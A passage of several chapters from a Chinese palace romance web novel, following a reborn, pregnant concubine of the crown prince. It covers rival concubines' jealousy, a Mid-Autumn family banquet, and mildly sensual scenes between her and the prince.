如此知书达理的妻子他分明一直清楚她为人如何,偏过去一年多他竟会觉得她无理取闹,尖酸苛刻!
正想着,瑜姐儿从王府前面的学堂回来了,在院外扯着嗓子喊娘。
此前一个月宣王虽多数时间清醒,但因着担心中途时不时又会变得不像自己,徒惹妻子和女儿难受。
所以上个月宣王住在前院。
如今惩治了姜氏,自己感觉整个人仿佛拨开了一直萦绕在眼前的雾。
此时听到女儿的声音,宣王立即一阵风似的跑出去,迫切地想抱抱女儿。
然而女儿一看到他小嘴儿就抿了起来,和不久前她娘的变脸简直如出一辙。
宣王心中又一阵酸楚。
所幸他深知此事急不得,不论如何,他之前伤害了母女二人都是事实。
想她们重新接纳他,他自然要有所付出才行。
宣王妃将女儿接进屋。
看小丫头喝水时她想起宣王告诉她的,姜氏诅咒宋昭训腹中孩子一事。
宣王妃不禁想。
不管如何姜氏之前是宣王府的侧妃,对人做出那等失礼且恶毒之事,她这个主母都有约束不力之过。
合该有所表示才对。
不知下回何时能再见,她得撇开那些犯忌讳的事,同宋昭训致歉才行。
第104章 槛儿:“想太子……的身子。”太子:……
正常情况,姜宛宛被废并不会在京城引起轰动,毕竟她娘家没什么势力。
且真相未经泄露,宣王又是私下里向元隆帝请的旨,在外人眼里这就只是人家宣王府的一桩家事而已。
这样的皇家家事除了御史会主动了解一二,其他人没几个会放在心上。
都有自己的日子要过,谁成天盯着别人啊。
可关键就在于。
当初姜宛宛不顾自家姐妹的名声,对宣王死缠烂打的事京城不少人知道。
且之前她生的那对儿祥瑞龙凤胎庆百日,宣王府办得那叫一个热闹,城里好多人都去宣王府门前瞧了呢。
姜家人为此好不得意。
谁知才过了多久,人就被废了!
消息是从姜家传出来的,被废的原因就是姜宛宛殴打宣王、辱骂宣王妃。
一传十,十传百的。
等到下午,半个京城的百姓都知道了,甚至有茶楼酒肆在编故事说书了!
当然,百姓们不敢提及宣王和宣王妃,所以这些故事里的人物都改成了普通地主或商人之家的老爷夫人小妾。
说书先生皆擅口技,一人分饰几角。
将那小妾的泼辣、老爷的暴怒,以及正室夫人的窝囊憋屈演绎得淋漓尽致。
总归,京城的茶楼酒肆至少要热闹半个月。
宫外的事槛儿无从得知。
只歇晌起来打算给肚里的小家伙缝肚兜时,槛儿也想到了宣王一家三口。
上辈子她初见姜氏时,对方已经是宣王妃,这辈子她和对方产生了不快。
导致姜氏的下场变了。
这么一来,宣王妃母女二人这辈子的人生轨迹应该也变了,起码不会再**?
如果真是这样,槛儿觉得挺好的,自己也算是间接帮她们避开了前世惨剧。
至于宣王与宣王妃的事,槛儿没打算掺和,男女间的事也不是外人能插手的。
思及此,槛儿把心思从宣王夫妻身上收回来,继续致力于给小家伙缝肚兜。
别看她上辈子生过三个,自己又有手艺,可实际这种给孩子缝制贴身衣物的活儿,槛儿上辈子并没有干过。
倒不是她对孩子没心。
而是生曜哥儿时,因为一早这个孩子便是定好要抱养给郑氏的,郑氏除了让她好好养胎,便不许她再做别的。
当然,时不时给她端端茶倒倒水不算,郑氏说有了身孕要适当地动一动。
后来生两个小的。
槛儿动过自己给小家伙做衣裳的念头,奈何彼时她委实畏惧太子,太子一句“无需你动手”她就真不敢做了。
前世今生不一样了。
槛儿自然要把对小家伙的亏欠补回来,首先就从这小肚兜开始做起。
四月底怀上的,生的时候该是正月。
襁褓、夹袄、斗篷这类包在外面比较厚实的,做起来较为讲究繁复,自有广储司和东宫绣房的绣娘们负责。
槛儿就不揽活儿了,只缝制贴身的。
她手快,刚出生的小娃娃肚兜不大,不需要多少绣花,她半个时辰就能做一身。
要不是不好久坐,也不能伤了眼,槛儿两天就能把小家伙一岁之前的肚兜全做好。
八月初十这日。
太子休沐,来槛儿这边用晚膳。
消完食槛儿把做好的小肚兜拿给太子看,还笑着问:“您看,可不可爱?”
周嬷嬷没想到宋昭训会把孩子的肚兜拿给太子看,立在旁边几度欲言又止。
时下男女讲究内外之分。
寻常高门大户中的男子尚且不会和女眷谈论此类后宅俗务,遑论皇家子弟。
周嬷嬷知道宋昭训如今得宠,但直接将孩童贴身衣物拿给太子看什么的。
未免太过大胆了。
周嬷嬷捏了把汗,暗中观察太子的反应。
骆峋自小熟读经史子集,熟知“男主外女主内”的礼法,此前除了偶尔听郑氏汇报后宅内务,适当放权给她。
他也的确没和哪个妻妾聊过此等细小的内帷琐事,但大抵幼时见多了父皇和母后不拘小节的日常相处。
加上他之前和小昭训聊过官署里的饭食。
使得骆峋这会儿见槛儿将幼儿的贴身衣物展示给他看,他竟没觉她有多失礼。
看她一眼。
再接过被她展开的小肚兜。
不到一尺长的小衣裳,采用质地柔软细腻,带有浅浅黄色的松江棉布制成,上窄下宽,领口及腰间分别两条细带。
骆峋看了看下方衣角处那只憨态可掬的小老虎,问:“为何是虎?”
槛儿歪头:“不能是老虎吗?”
自然可以是老虎。
只老虎这样的图纹于幼儿而言,多数用于男童,姑娘家除了母后与姨母,骆峋倒是并未见过其他女子着虎纹衫。
太子爷忽然不语。
槛儿眨眨眼,似乎有些懂了。
随即笑出声,转而拿起另几件。
“殿下看,还有犀牛、麒麟,梅兰竹菊,蝴蝶、喜鹊,男孩女孩的妾身都做啦。”
因为不能保证这一胎就是曜哥儿,所以男娃娃女娃娃穿的她都准备了!
骆峋:“……”
骆峋面无表情,旋即俊眉皱了皱。
槛儿看出太子要说什么,在他开口前起身坐到他身边,挽住他的胳膊。
“这些都是妾身东一针西一针做的,没有成日里绣,不信您问周嬷嬷她们。”
太子爷自是不会特意询问。
周嬷嬷和瑛姑姑立马站出来。
保证她们都看着,没有叫宋昭训累到什么的,瑛姑姑还顺势说了槛儿自己平日里是如何注意身子之类的。
骆峋未置一词,只微微颔首。
重视孩子自然好,但不能为了给孩子做衣裳伤到身子,如此岂不本末倒置。
“殿下觉得可爱吗?”太子爷没回答刚刚的问题,槛儿故意笑
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着追问道。
“可爱”这样的字眼太子爷还不曾说过,他也看出了槛儿眼底的戏谑。
胆子倒是越来越大了。
骆峋心想,绷着脸将小衣裳放到炕几上,清冷地惜字如金道:“尚可。”
槛儿顺着台阶往上爬,拿起孩子的小肚兜看了又看:“殿下眼光一向好,您说尚可,那就说明妾身的手艺好呢。”
做这样的小衣裳要不了多少手艺,但见过她给他做的坐垫,骆峋不能言不由衷。
“嗯。”
槛儿听见了,撒娇般抱着他的胳膊晃了晃。
“谢殿下夸奖。”
手臂陷入一片绵软之中。
太子爷俊脸绷得更紧,随即不着痕迹地抽出胳膊,起身道:“安置罢。”
槛儿看眼一旁的漏刻。
差一刻钟亥时,确实可以安置了。
都沐浴过了,进卧房后褪去外袍径直上榻,纱帐放下,太子睡姿笔直端正。
近段时日太热,槛儿夜里没和太子抱着睡了,若不然半夜两个人都要热醒。
于是,槛儿躺下后同样睡姿笔挺。
寝不语,太子要睡觉的意思明显,槛儿不能再说什么,也开始酝酿睡意。
然而酝酿着,酝酿着。
嗅着帐中源自太子身上那股清冽淡雅的香,感受着身旁那道属于男人的呼吸声。
槛儿忽觉得喉咙发干,心跳莫名加快。
伴随而来的还有体内那股难以名状的躁动,似是有蚂蚁在腹部以下位置爬。
槛儿知道这是为何。
上辈子怀曜哥儿时她懂得少,和太子又只有过那么一次,没有过这种感受。
但后面怀两个小的,过了三个月偶尔逢上夜深人静之时,她便格外想太子。
……的身子。
想他能轻轻松松将她抱起来的有力双臂,想他散发着滚滚热意的宽阔胸膛,想他似乎永不知疲倦的精壮腰身。
槛儿知道这是正常现象。
上辈子太医有同她讲。
只月初时都还没这种感觉,今儿却……
槛儿缓缓深吸一口气,再慢慢吐出来,然后轻手轻脚地翻个身朝着里侧。
宽松的绫纱寝裤很薄,往日只觉得穿着舒服透气,今晚却能轻易感觉到料子上的纹路与皮肤的微微摩擦感。
槛儿拢了拢腿强行忽视。
这时。
旁边响起男人低沉的声音:“睡不着?”
槛儿:“……”
太子以为她是单纯的失眠,殊不知……
“吵到您了吗?”
槛儿故作镇定道。
太子默了一瞬,“没。”
槛儿:“妾不动了,您睡吧。”
太子没出声。
槛儿闭上眼准备默念经。
但没默到两句。
后背覆上来一具温热结实的男体,紧接着夹杂着清香的呼吸人洒在她的后颈。
偏他的声音还是那么冷冽。
“想了?”
第105章 太子的安抚,预防太子痔疾槛儿是认真的!
该臊的。
偏脑海里的第一反应不是躲开,而是浮现出了太子冷着脸说出这两个字的画面。
槛儿:“……”
槛儿假装没听清,“嗯?您说什么?”
骆峋看着她莹白的侧脸轮廓,嗓音沉沉地不答反问:“不是难受?”
夜里安静,他低沉带着一丝喑哑的声音近在咫尺,似是尤为富有磁性。
槛儿的耳根不受控地发酥,那股不可名状的感觉也在体内见风长似的攀升。
骆峋伸手。
握住她攥着毯子的手。
她并不知道,习武之人通常耳力也惊人。
他不仅听见了她极力压抑的那一口深呼吸,还听到了她自以为隐蔽的腿部摩擦声,以及她小心吞咽口水的声音。
起初他不明白她在做什么。
但……
他想起了莫院判之前有言,妊三月,母体气血充盛,阴中生阳,故而相火易动。
指的便是女子妊娠中期,身子偶尔会本能地生出想要与人行事的感觉。
骆峋不清楚她此时具体感觉为何,但他知晓自己每回与她在一起时的感受。
就譬如此刻,他亦想。
可他上回说了四个月。
也担心她气血翻涌,动了胎气。
“放松。”
骆峋忽视掉自身的变化和耳根处的热感,安抚般捏捏槛儿的手,温声道。
“此乃女子孕期正常反应,无需羞耻。”
槛儿没觉得耻,只是本能的羞罢了,尤其听他这么一本正经地说着这事。
她的双颊着了火也似。
不过,心里倒是没觉得多臊了。
背习惯性往他怀里靠了靠,感觉到硌着她的某种异样,槛儿的动作僵住。
也更躁了。
骆峋有所察觉,呼吸微沉,遂轻轻掰着槛儿的肩,低声道:“转过来。”
槛儿顺着他的力道翻身,抬头对上男人在昏暗夜色中更显深邃的眸子。
骆峋也看着她。
片刻,他轻轻勾起槛儿的下巴。
薄唇轻柔地印上她的。
槛儿因他的触碰呼吸情不自禁地急促起来,太子在她的头发上轻抚着。
亲得也特别温柔。
明明他也想,他的动作却不带丝毫欲念。
也不知是被太子稳定的情绪感染,还是他的安抚真起了作用,槛儿竟真在这一记春风化雨般的亲吻中平复了下来。
一吻结束。
两人静静相拥,谁也没说话。
如是不知过去多久,太子仍旧精神奕奕。
槛儿顿了顿,默默探出手。
骆峋闷哼,抓住她的腕子。
“不必,睡吧。”
早先那一次由她这般伺候,那是他还未幸她,她也没有身孕,不易劳累。
如今她双身子,又本就不好受。
他如何能只顾自己快活。
槛儿哪知道太子爷在想什么呢,只当他不想她的情绪再度被激起来,动了胎气。
于是槛儿从善如流地收回手,也没有因为被拒绝感到尴尬什么的。
反正她想帮他,是出于对他刚刚的安抚投桃报李,他拒绝,是为孩子着想。
接下来槛儿真就心无旁骛了,没多会儿便枕着太子的手臂睡了过去。
骆峋盯着帐上的葡萄缠枝,直到院外传来三更更鼓的声响,他方才阖眼。
.
按制,春分祭日秋分祭月。
中秋这日皇帝作为天子,当率群臣宗亲进行祭月大典,以此来延伸天道权威。
之后由皇帝赐宴,象征着赐福。
但自打元隆帝登基。
端午、万寿节和中秋节隔得太近,为避免过于铺张浪费,虚耗国帑。
元隆帝在登基之始就有令在先,他在位期间每年中秋节祭月大典照常举行,之后的宴席却是不再办。
改赐节礼代宴。
即将月饼、鹿肉、椒酒、雪藕等食物按品阶划分多少赐于大臣府邸。
如此确实省事不少。
只不过中秋节又称团圆日。
宫宴可少,家宴必不可缺。
每逢中秋这天,元隆帝都会率儿女去北苑狩猎,等到晚上再一家子聚上一聚。
但今年,元隆帝却是连狩猎都取消了。
只留了晚上那一场家宴。
众人猜测,许是因为万寿节出的那场外人并不清楚始末的事,导致元隆帝没了带儿女们出去狩猎的心思。
毕竟,一下子少了三个儿子。
不管外界如何,中秋的家宴与槛儿她们这些妾室都无关,各王府的侧妃也没有资格出席皇家的中秋家宴。
倒是东宫的家宴照常举行,和端午家宴一样提前一天,即八月十四晚上就办。
到了这日。
槛儿一早让跳珠把要给太子的节礼送去嘉荣堂,等曹良媛她们的礼齐了,郑明芷会叫人一并送去元淳宫。
跳珠到嘉荣堂时。
曹良媛与秦昭训刚请完安,各自的大宫女也正将节礼呈给郑明芷过目。
见跳珠进来。
曹良媛打眼一瞧,“扑哧”一声笑了:“这便是你家主子要给殿下的节礼?”
槛儿这回的节礼还是艾绒垫,区别在于这次垫子上的花样不是她亲手绣的。
另外这回送了四个!
槛儿想的是,预防痔疾非一日之功。
内务府做的坐垫没有艾绒,上回送的一个又不好换
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洗,这回索性多送几个,太子还能拿到衙署里去用呢。
总之,太子今后的艾绒垫她包了!
诚然,这不是说今后逢年过节她给太子的礼便只有艾绒垫,这回主要是为方便换洗才一次多给几个的。
槛儿想得实在,看在郑明芷、曹良媛和秦昭训眼里却只觉得她忒小家子气。
就没见过哪个女子给男子的礼,是这等俗物。
上回她们便这么想,只不过没说什么。
结果没想到这回那姓宋的送的还是如此不雅之物,还一次送这么多。
曹良媛乍一听爽朗的打趣,实则并没有掩饰其中的轻视和嘲笑。
跳珠只当没听出来。
恭敬地向屋中三位主子依次见了礼,随后不好意思般回道:“让良媛见笑了。”
“拿一个过来我瞧瞧。”
曹良媛招手道。
跳珠走过来,取了一个呈给她。
曹良媛没有伸手接。
这种垫腚的东西,怎可能沾她的手,她平时坐的椅子都是下人提前铺好垫的。
“瞧着也没什么特别之处,怎么你家主子就想到给殿下这样的节礼呢?”
曹良媛的目光看似随意实则仔细地在垫面上转了一圈,好笑似的问道。
跳珠不打算说这是对身体有益的艾绒垫,反正这边不会将垫子撕开检查。
等送去了元淳宫,海总管自会安排人查。
“回良媛主子的话。”
跳珠答道。
“宋昭训原也不知送什么,便想着上回送殿下的垫子没有备换洗的,于是着人多做了几个以供殿下换着使用。”
曹良媛差点被口水给呛到。
“让殿下换着用?”
“是。”
曹良媛不觉得宋槛儿真这么没有城府,把几个俗不可耐的坐垫当节礼。
可结合对方的出身,似乎又合情合理。
这么想着,曹良媛笑得好大声,不是平时装出来的那种笑,是真笑得前仰后合。
秦昭训低头拿帕子掩了掩唇角。
郑明芷面上似笑非笑。
曹良媛缓过气来。
“哎哟喂,宋妹妹果然是个妙人儿,换洗的坐垫都给殿下备好了,当真是好贤惠的人儿,怪道讨殿下欢心呢!”
跳珠哪能听不出她是在嘲笑她家昭训小家子气呢,心里忍不住白眼乱飞。
等跳珠走了。
曹良媛拭拭眼角的泪花,看向郑明芷。
“说起来,自打宋妹妹伤了暑便没再来嘉荣堂给太子妃请安了,眼下离她诊出喜脉还差半月就满两个月了。
算算时间,怀了也快四个月了,您打算什么时候恢复宋妹妹的请安呢?”
第106章 曹良媛:“殿下,妾身有事相告。”
郑明芷瞥她一眼。
“关乎皇嗣绵延,自当小心谨慎,看她什么时候身子强健些就什么时候来请安。”
曹良媛暗笑。
也不知是谁在万寿节那晚恶狠狠地说出“死不了”这样的话,这会儿倒是又装起宽和来了。
心里这么想。
曹良媛笑道:“还是太子妃大度,想来宋昭训对您也是感恩戴德,只盼着日后一举得男博太子妃一笑。”
这话说的。
就没见过几个做正妻的,能在妾室有了身孕时真正笑得出来的,尤其还是在正妻自己没有子嗣的情况下。
又何来博主母一笑的说法。
曹良媛此言,摆明了就是在暗指槛儿是郑明芷找来替她生孩子的。
且既暗讽了郑明芷的假仁假义,又嘲笑了郑明芷不能生,可谓一语三关。
只话说得隐晦,明面上倒叫人挑不出错。
郑明芷听出她的话外音了。
却是没有被激怒。
反一副老神在在的模样,笑道:“曹良媛此言差矣,是儿是女又非人力所能为也。
你我皆为女子,如何能有轻视女子之念,东宫能有一位小公子我高兴,有一位小郡主我同样欢喜。
殿下也作此想,你当着我的面这么说没事,到了殿下跟前可千万记得慎言。
另外,你与宋昭训同为东宫侍妾,她怀上了,想必你的好消息也快了,我可是等着曹良媛早日替殿下开枝散叶呢。”
曹良媛一梗。
要不是她没侍寝的事身边只有抚琴弄墨知情,抚琴弄墨又是曹家的家生子。
不会背叛她。
她都要以为姓郑的知道实情,故意拿这话来刺她至今没真正承宠呢!
曹良媛心里直磨牙。
“您说的是,甭管公子还是郡主,总归都是东宫的喜事,我也盼着能早日替殿下生个一儿半女,想来秦妹妹也是这么想的,秦妹妹是不是?”
秦昭训只觉得曹良媛贱得慌,她心里不舒坦,就要让别人跟着一起不舒坦。
秦昭训才不惯着她。
清清冷冷地开口道:“光想有什么用,那也得要我有本事让殿下到我那儿去。”
这话看似是在说她自己。
实则却是拆穿了曹良媛的言不由衷,就差没说“太子没往你屋里去,你怀个屁”。
曹良媛则想的更多。
她的出身是后院几个妾里最好的,位份也是几人中间最高的,且太子此前往她沁芳居去的次数还是最多的。
从去年冬月到今年四月中旬之前,东宫后院谁不说一句“曹良媛是东宫宠妾”。
偏如今她输给了一个宫婢出身的不说,“东宫宠妾”这个名头也易了主!
曹良媛就觉得秦昭训是在嘲她吃了败仗,她看秦昭训的眼神不禁冷了冷。
“谁说不是呢,若我记得没错,殿下只去了妹妹那儿两回吧,确实是有些少了,不知妹妹做了什么惹恼了殿下?”
来啊,不就是互相揭短?
秦昭训知道曹良媛是故意的,并没被怎么气到,只提起这事她也觉得憋闷。
她能做什么惹恼太子?
她就跟太子下了两晚的棋!
因此棋艺大增!
总不能太子发现她在偷师,于是怒上心头,从此不再踏入她屋中半步吧?
别说太子为一国储君,不会这般小肚鸡肠,就是寻常男子也不可能因为妾室偷他的师就为此斤斤计较吧。
那器量得是有多窄?
秦昭训做出神情严肃的样子:“曹姐姐慎言,殿下心胸开阔,宽仁大度,怎可能为小事与人斤斤计较?
去谁院里不去谁院里殿下自有考量,我劝曹姐姐还是不要随意揣测得好。”
曹良媛噎了噎。
没想到素来寡言少语的秦昭训今日竟舍得一口气说这么多,言辞还这般犀利。
可曹良媛哪是会让自己在嘴巴上吃亏的,当即要反唇相讥,可惜不待她开口郑明芷就出声打断了两人的嘴仗。
“行了,别动不动就你一言我一语地逞口舌之能,没什么事就散了吧,晚上别迟了。”
两个蠢货。
该斗的不去斗,跑来这儿狗咬狗!
郑明芷都懒得搭理,说完这话后吩咐霜云把她们的节礼送去元淳宫。
之后头也没回地进了内室。
曹良媛看着她的背影消失在珠帘后,不显地撇撇嘴站起来,也没和秦昭训打声招呼,带着自己的人就走了。
.
送节礼发生的事跳珠回来后一五一十地跟槛儿说了,包括曹良媛的所有话和反应。
这自然不是跳珠要给槛儿添堵,明知她怀有身孕,还拿这样的事回来气她。
而是事关几个主子之间别苗头,即便是一件小事,说清楚了也便于槛儿下次见到她们时和对方周旋。
否则到时候对方接着这个话题给人挖坑了,本人却还不知道之前的事。
那不是给人机会使绊子?
因而跳珠没有隐瞒。
槛儿听了,直夸跳珠记性好。
对于曹良媛的嘲讽,却是并未当回事,一个节礼罢了,她不必在意旁人怎么看。
到了下午,酉时三刻左右。
槛儿收拾妥当,去嘉荣堂和曹良媛她们汇合。
大抵是入宫前听多了母亲和身边嬷嬷说的,女子有孕后会变得疲惫憔悴。
有的容貌甚至都会发生变化。
譬如鼻子变大,颧骨、额头等处长出斑点,再譬如面部生痤疮、酒刺等等。
曹良媛来的路上就在想,她有一个多月没见宋槛儿了,对方怀了快四个月,估计就跟她娘说的那样。
这一个多月里宋槛儿要么开始油光满面,鼻大生疮,面相有了变化。
要么形容憔悴,再不复往日跟朵花儿似的,没准儿身材也在开始走形。
可太子前几天还在永煦院留宿呢,如果宋槛儿真变成了那样,太子能受得了?
就这么一路不确定地猜测着,直到进了嘉荣堂厅堂看到起身向她见礼的人。
曹良
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媛自然不知,每个女子的体质不同,有孕期间的状态也不尽相同。
且纵使模样有变,产子之后也会逐渐恢复。
此时曹良媛的第一个念头是:她娘骗人。
瞧瞧姓宋的。
穿着件玉白底绣木芙蓉的小衫儿,一条浅碧游鱼百迭裙,精巧的蝶鬓髻上戴着根金镶白玉蝶恋花的步摇。
端的是一步三摇,婀娜多姿。
那张白白净净的小脸儿不仅不显疲惫憔悴,反倒圆润润粉扑扑的,竟是比一个多月前还要来得丰盈娇艳!
曹良媛:“……”
曹良媛的嘴角抽了抽,都懒得假装夸什么了,只视线在槛儿的腹部打了转。
“我早先听交好的少夫人说,她有孕期间食不下咽夜不能寐,人沧桑了不少,妹妹瞧着倒跟往日没两样。”
槛儿柔柔一笑。
“太医说妊娠反应多与体质有关,有初期难受的,也有中晚期难受的。
我之前伤暑时有过些许反应,也不确定之后还会不会有什么别的反应。”
经她一说,曹良媛想起来了。
六月里姓宋的病了,诊了几次脉都当是伤暑,结果人家其实那时候就有了,亏她们还巴巴儿地跑去探病!
浪费她时间。
曹良媛:“说起来,东宫那两个女医与开始给你诊脉的太医真是运气好。
逢上了你这么个好脾气的主儿,换做别人,怕是早叫他们脑袋搬家了。”
槛儿没有解释前期没诊出喜脉的原因,只笑着说了一句“是殿下英明仁厚”。
曹良媛见她滚刀肉似的,叫人什么都打探不出来,眼神不由沉了沉。
这时,郑明芷出来了。
曹良媛不再跟槛儿虚与委蛇,兀自起身见礼。
金承徽的禁足马上四个月了,但由于后头三个月是太子下令加的,所以这回金承徽没有被临时解禁。
秦昭训到了,一行人浩浩荡荡出了门。
等到了元淳宫,她们就发现宴上的席位较之端午家宴有了明显的变化。
上回曹良媛的席位在郑明芷的左下首处,金承徽、秦昭训和槛儿都在对面右侧。
这回不一样。
曹良媛的旁边多出了一张条案。
对面则只一张条案,不用想也知道,曹良媛旁边多出的条案是给谁准备的。
所以说。
权贵人家的宴席不单是吃一顿饭的事,席位安排即象征着身份地位。
不过,都是习惯了这种场合的。
就算席间各怀心思,也没有谁真正表现出来,一顿宴照常用得其乐融融。
而就在用完了膳。
郑明芷领着槛儿几人准备行礼告退时,曹良媛的声音忽然响起。
“殿下,妾身有事相告,请殿下容禀。”
槛儿微垂的眼睫动了动。
余光中能看到曹良媛绣着鸾鸟穿花的裙摆,和那抹杏黄行龙游江的袍摆。
骆峋端着茶盏的手微顿,视线莫名第一时间朝那道水粉色身影瞥了一下。
第107章 太子vs曹良媛,槛儿涂油太子呆滞
厅堂里。
数个手脚利落的小太监悄声撤走几张条案并椅凳,宫人们鱼贯而出。
曹良媛向海顺伸手。
要接过他手中打算给太子换的茶。
海顺瞥眼主位上的主子,扯了扯嘴角,把茶盏递给曹良媛,然后就低垂着头站到太子身后当柱子去了。
“殿下请用茶。”
曹良媛轻扭着腰,仪态优雅地将茶呈给太子,声音温润似春风拂面。
与早先那回的媚判若两人。
那微微翘起的纤长玉指,在白地青花瓷茶盏的衬托下如笋尖般嫩白。
珊瑚朱底绘梅花缀金粉的蔻丹精致艳丽,衬着这双手美得仿佛一幅画。
骆峋的目光仅在盏盖上扫了一眼,便朝案几上看了看,示意她将茶盏搁下。
“有话就说。”
曹良媛习惯了似的,并不介意太子的冷,从善如流地把茶盏放到案几上。
随后攥攥帕子,态度诚恳认真。
“之前的那事是妾身错了,妾身不该冒犯殿下,妾身恳请殿下原谅妾身这一回。”
海顺心想之前那事是哪事?
反应了一下想起了。
应该是指四月里太子去沁芳居,曹良媛邀宠,结果惹了太子犯病的那回。
海顺的眼角抽了抽,都不知该说曹良媛这罪请的到底是有心还是无心了。
说她有心吧。
都过去四个月了,才想着来请太子原谅。
说她无心吧。
过去四个月的事她居然还记得?
骆峋睨她一眼,起身道:“知道了。”
“殿下且慢!”
曹良媛上前,情急之下抓住了太子的袖口。
骆峋瞥眼袖子,回头看她。
曹良媛稍显讪讪地松开手。
随即似是终于下定了决心,语气恳切道:“您四个月没去沁芳居了,今晚能不能……能不能去妾身那儿?”
海顺俩眼一瞪!
好家伙。
胆儿这么大的吗?单独找殿下说话只是为了邀宠就罢,还这么直接?!
屋里沉寂了两息。
“孤这回给你的东西少了?”骆峋问。
曹良媛愣了愣。
旋即明白过来太子是在说这次中秋他大赏后院的事,下意识道:“不少。”
太子逢年过节的赏是按位份品级来的,遇上除夕、中秋、冬至这样的大节。
则是双份赏。
且她的位份在后院妾室中最高,基本每次还会有一份额外的赏赐。
这些赏赐中一般包含有月银、料子、头面、珍宝器玩、补品吃食以及书籍。
大抵是东宫的女眷少。
所以太子在这方面从未亏待过她们。
也因着位份和这些赏赐的关系,哪怕现今宋槛儿得宠,东宫后宅里太子妃之下的第一人也仍旧是她曹良媛。
“既然不少,”骆峋看着曹良媛,淡淡道,“那为何一定要孤去你的沁芳居?”
曹良媛再次怔住,跟着就在心里笑了。
他们的这位太子爷还真是既天真又无情,是什么让他觉得后院里的女人求的就只有这些身外之物?
太子从小长在宫廷。
曹良媛不认为他会不清楚后宫里的这些女人,日里勾心斗角究竟所求为何。
不是不清楚,那便是他明知故问。
既如此,她也就不必再拐弯抹角。
这么想着,曹良媛娇羞般垂了垂眼,很快又抬起来看着太子,声音轻柔地道:
“宋妹妹有了好消息,实乃东宫之喜,妾身也真心为殿下、为宋妹妹高兴。
但妹妹有孕在身,夜里恐是不便伺候,殿下不若就到妾的沁芳居坐坐。”
说到这,她顿了一下。
上前半步重新捏住太子的袖子,眸光盈盈,“妾身也想要个孩子……”
话说完,屋中静得落针可闻。
海顺打了个寒颤。
良久。
骆峋将袖子抽出来,问曹良媛:“入宫之前,你可知后宫女子境况如何?”
曹良媛怔住。
骆峋:“风光无限者,争宠夺嗣者,功亏一篑者、籍籍无名者、望穿秋水者、红颜薄命者。”
“你可知?”
曹良媛捏紧手,红唇动了动:“知道。”
她当然知道。
从**里,从长辈们的只言片语里,以及以前每回进宫参加宴会的亲眼所见。
她当然知道后宫里的女人要想出头有多难,当然知道这条路不好走。
“但你还是来了。”
骆峋注视着她。
“皆因你认为此地有你想要的东西,故而不惜拒绝曹侍郎为你订下的亲事。
但,你为何会觉得想要,就一定能得到?明知其不可为而为之,必杂于利害。”
“不是么?”
他当然知道曹良媛所求为何,包括金承徽和秦昭训的所求,他都一清二楚。
也因为知道,当初他才会答应让她们入东宫,才会优待她们优待她们的母族。
凡事皆有利弊。
她们有所求,他亦有所谋。
既做了决定,就该做好承担风险的准备。
所以……
“你为何会觉得,你要,孤就必须给?”
这话说得可谓再直白不过,海顺在旁边听着都觉得头皮一阵阵发麻。
曹良媛的脸青了白,白了青。
好在她并不是经不住事的。
短暂的尴尬后她便稳住了心绪,向太子福了福身,一副豁然开朗的模样。
“妾身明白了,谢殿下教诲,妾身一定谨记。”
骆峋不置可否。
看她一眼,转身走了。
“良媛主子,请。”海顺客气地微笑着道。
回了沁芳居。
抚琴终于忍不住问道:“主子,您跟殿下说了什么呀?殿下一会儿来咱这儿吗?”
“不来。”
曹良媛由弄墨伺候着换了身衣裳,走到妆台前坐下,没什么情绪地淡淡道。
抚琴的脸就皱了起来。
“怎么不来啊,您都和殿下单独相处了,殿下今晚不会又要去妖女那儿吧!”
妖女是抚琴给槛儿取的别称,原因是她觉得槛儿一直霸着太子的宠,连孕期都勾得太子在她屋里留宿。
不是妖女是什么!
这段时间抚琴私下里一直这么叫的,曹良媛不参与也不制止,今儿却是从镜子里冷冷地看了抚琴一眼。
抚琴接收到主子的眼神,心里咯噔了一下,反应过来主子不是在计较她对宋槛儿的称呼,而是前半截话……
抚琴立马跪下。
干脆利落地啪啪扇了自己两巴掌,认错道:“奴婢失言,请主子恕罪。”
曹良媛斜她一眼,
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没叫人起来。
为四个月前的事请罪也罢,邀太子来沁芳居也罢,都不过是她为接下来的事洗清自身嫌疑做的准备罢了。
好歹也在东宫待了三年多,他们的这位太子爷在对待女人这件事上是个什么态度和脾性曹良媛早就清楚。
她一个,金承徽一个,秦昭训一个。
要么是为了上边儿那个位置,要么是为了家里,总归都是自愿入的宫。
有所求,才容易实现利益的交换。
曹良媛有时候都不知该说他们的这位太子殿下,究竟是天真还是真碍于元隆帝的猜忌而另有谋划了。
男人女人的那点儿事罢了。
时下男人讲究的不就是三妻四妾吗?
后宫的女人确实大多都身不由己,这个地方也的确埋葬了不少薄命红颜。
可那又如何?
这里是全天下女子最大的名利场,不论什么原因进的宫,在参加选秀的那一刻起每个人都应该做好心理准备。
要么死,要么争!
太子为一国储君,完全没必要在男女之事上如此拧巴,非得跟人达成交易。
呵。
曹良媛轻嗤。
“主子,殿下若一直不来怎么办?”弄墨观察着曹良媛的反应,小心问道。
“急什么?”
曹良媛看着镜子里的自己,挑眉道。
“殿下从前于女色上寡淡,如今有人开了这个口,不正是好事一件吗?”
只要等这个人落败了。
何愁她们没有机会?
后宫之中不就是一花凋零,一花再开。
.
槛儿在往肚子上抹油。
是一种拿少量白芷、白茯苓、白附子以及山茶籽油等具有美白润泽,生肌效用的药材精心调制的养荣油。
名为油,实则就是一种养肤膏。
一般孕满三个月,太医确认胎相稳定后便会调制这种油,以此来预防女子妊娠中晚期腹部生出孕身纹。
上辈子怀曜哥儿时太医也有调制这种油,但大抵是觉得槛儿是奴才出身。
不是正经主子,上面又有太子妃压着。
且这种纹并不影响腹中胎儿,当时那名太医便没有叮嘱槛儿涂这个油。
负责照看槛儿孕期起居的嬷嬷也没说要给她涂油,或是教她涂什么的。
槛儿那时第一次有孕,懂的又不多,见太医都没说,她也就没把这事放心上。
还是七个多月的某天晨起,槛儿后知后觉肚子上多了几条暗红色裂纹。
给她吓得。
一度以为孩子要爆肚而出!
幸好只是虚惊一场。
只不过那之后,无论她如何养护,孕身纹留下的白印子都不能完全消掉。
如今重来,槛儿自要小心养护。
哪怕这种纹并不影响什么。
总归是自己的身体,长纹了她不会嫌,但没有纹一直美美的岂不更好?
于是太子爷一来。
看到的便是沐浴完的槛儿,仅穿着一件榴红绣蝴蝶纹的肚兜坐在榻上。
肚兜下摆被撩了起来,寝裤前边缘拉至胯骨以下,露出尚未开怀的腹部以及那一把不盈一握的小腰肢。
入目一片皓雪凝脂。
第一次在没熄灯的情况下,如此直观地看清宋昭训兜衣下是何情形的太子爷。
愣住了。
第108章 “宋槛儿的朱砂痣”,太子梦回前世
“殿下?!”
